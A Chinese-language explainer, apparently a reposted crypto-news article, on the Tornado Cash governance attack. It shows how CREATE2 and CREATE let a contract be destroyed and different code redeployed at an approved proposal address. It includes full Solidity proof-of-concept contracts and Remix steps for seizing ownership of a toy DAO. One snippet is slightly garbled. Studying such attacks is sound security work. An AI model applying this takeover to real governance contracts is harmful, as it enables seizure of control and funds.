大概两周前（5 月 20 日），知名混币协议 Tornado Cash 遭受到治理攻击，黑客获取到了Tornado Cash的治理合约的控制权（Owner）。
攻击过程是这样的：攻击者先提交了一个“看起来正常”的提案， 待提案通过之后， 销毁了提案要执行的合约地址， 并在该地址上重新创建了一个攻击合约。
攻击过程可以查看 SharkTeam 的 Tornado.Cash提案攻击原理分析。
这里攻击的关键是在同一个地址上部署了不同的合约， 这是如何实现的呢？
EVM 中有两个操作码用来创建合约：CREATE 与 CREATE2 。
当使用 new Token() 使用的是 CREATE 操作码 ， 创建的合约地址计算函数为：
address tokenAddr = bytes20(keccak256(senderAddress, nonce))创建的合约地址是通过创建者地址 + 创建者Nonce（创建合约的数量）来确定的， 由于 Nonce 总是逐步递增的， 当 Nonce 增加时，创建的合约地址总是是不同的。
当添加一个salt时 new Token{salt: bytes32(。() ，则使用的是 CREATE2 操作码 ， 创建的合约地址计算函数为：
address tokenAddr = bytes20(keccak256(0xFF, senderAddress, salt, bytecode))创建的合约地址是 创建者地址 + 自定义的盐 + 要部署的智能合约的字节码， 因此 只有相同字节码 和 使用相同的盐值，才可以部署到同一个合约地址上。
那么如何才能在同一地址如何部署不用的合约？
攻击者结合使用 Create2 和 Create 来创建合约， 如图：
代码参考自：https://solidity-by-example.org/hacks/deploy-different-contracts-same-address/
先用 Create2 部署一个合约 Deployer ， 在 Deployer 使用 Create 创建目标合约 Proposal（用于提案使用）。 Deployer 和 Proposal 合约中均有自毁实现（selfdestruct）。
在提案通过后，攻击者把 Deployer 和 Proposal 合约销毁，然后重新用相同的slat创建 Deployer ， Deployer 字节码不变，slat 也相同，因此会得到一个和之前相同的 Deployer 合约地址， 但此时 Deployer 合约的状态被清空了， nonce 从 0 开始，因此可以使用该 nonce 创建另一个合约Attack。
此代码来自：https://solidity-by-example.org/hacks/deploy-different-contracts-same-address/
// SPDX-License-Identifier: MITpragma solidity ^0.8.17;contract DAO { struct Proposal { address target; bool approved; bool executed; } address public owner = msg.sender; Proposal[] public proposals; function approve(address target) external { require(msg.sender == owner, "not authorized"); proposals.push(Proposal({target: target, approved: true, executed: false})); } function execute(uint256 proposalId) external payable { Proposal storage proposal = proposals[proposalId]; require(proposal.approved, "not approved"); require(!proposal.executed, "executed"); proposal.executed = true; (bool ok, ) = proposal.target.delegatecall( abi.encodeWithSignature("executeProposal()") ); require(ok, "delegatecall failed"); }}contract Proposal { event Log(string message); function executeProposal() external { emit Log("Excuted code approved by DAO"); } function emergencyStop() external { selfdestruct(payable(address(0))); }}contract Attack { event Log(string message); address public owner; function executeProposal() external { emit Log("Excuted code not approved by DAO :)"); // For example - set DAO's owner to attacker owner = msg.sender; }}contract DeployerDeployer { event Log(address addr); function deploy() external { bytes32 salt = keccak256(abi.encode(uint(123))); address addr = address(new Deployer{salt: salt}()); emit Log(addr); }}contract Deployer { event Log(address addr); function deployProposal() external { address addr = address(new Proposal()); emit Log(addr); } function deployAttack() external { address addr = address(new Attack()); emit Log(addr); } function kill() external { selfdestruct(payable(address(0))); }}大家可以使用该代码自己在 Remix 中演练一下。
首先部署 DeployerDeployer ， 调用 DeployerDeployer.deploy() 部署 Deployer ， 然后调用 Deployer.deployProposal() 部署 Proposal 。
拿到 Proposal 提案合约地址后， 向 DAO 发起提案。
分别调用 Deployer.kill 和 Proposal.emergencyStop 销毁掉 Deployer 和 Proposal
再次调用 DeployerDeployer.deploy() 部署 Deployer ， 调用 Deployer.deployAttack() 部署 Attack ， Attack 将和之前的 Proposal 一致。
执行 DAO.execute 时，攻击完成 获取到了 DAO 的 Owner 权限。
区块律动BlockBeats
曼昆区块链法律
Foresight News
GWEI Research
吴说区块链
西柚yoga
ETH中文
金色早8点
金色财经 子木
ABCDE
0xAyA
郑重声明： 本文版权归原作者所有， 转载文章仅为传播更多信息之目的， 如作者信息标记有误， 请第一时间联系我们修改或删除， 多谢。